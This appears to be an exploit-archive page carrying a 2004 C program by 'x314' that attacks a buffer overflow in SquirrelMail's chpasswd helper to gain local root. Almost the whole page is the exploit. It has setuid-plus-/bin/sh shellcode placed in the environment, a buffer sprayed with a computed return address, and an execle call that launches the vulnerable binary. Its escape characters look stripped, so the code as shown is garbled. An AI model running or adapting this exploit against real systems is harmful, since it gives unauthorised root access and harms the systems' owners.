[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SquirrelMail chpasswd buffer overflow
# Published : 2004-04-20
# Author : x314
# Previous Title : MS Windows 2000 Universal Language Utility Manager Exploit (MS04-019)
# Next Title : MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)
/*
* 0x3142-sq-chpasswd.c
* Squirremail chpasswd buffer overflow.
*
* Tested on SuSE 9.
* The bug was found by Matias Neiff <matias neiff com ar>
* Coded by x314 <0x3142 hushmail.com>
* (c) 2004 Copyright by x314.
* All Rights Reserved.
*
* Greets: m0s krewz.
*
*/
#include <stdlib.h>
char shellcode[]=
"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0"
"x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8d"
"x53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73"
"x68";
int main(int argc, char *argv[])
{
char *env[2] = {shellcode, NULL};
int i;
long ret, *addr_ptr;
char *buffer, *ptr;
buffer = malloc(200);
printf("n*** Squirremail chpasswd local root exploit by 0x3142@hushmail.com ***nn");
if(argc != 2) {
printf("Usage: %s <path-to-chpasswd>nn",argv[0]);
exit(0);
}
ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);
// printf("Using ret = 0x%xnn", ret);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 200; i+=4)
{
*(addr_ptr++) = ret;
}
buffer[200-1] = 0;
execle(argv[1], "chpasswd", buffer, "0x314", "m0s", 0, env);
free(buffer);
return 0;
}
// www.Syue.com [2004-04-20]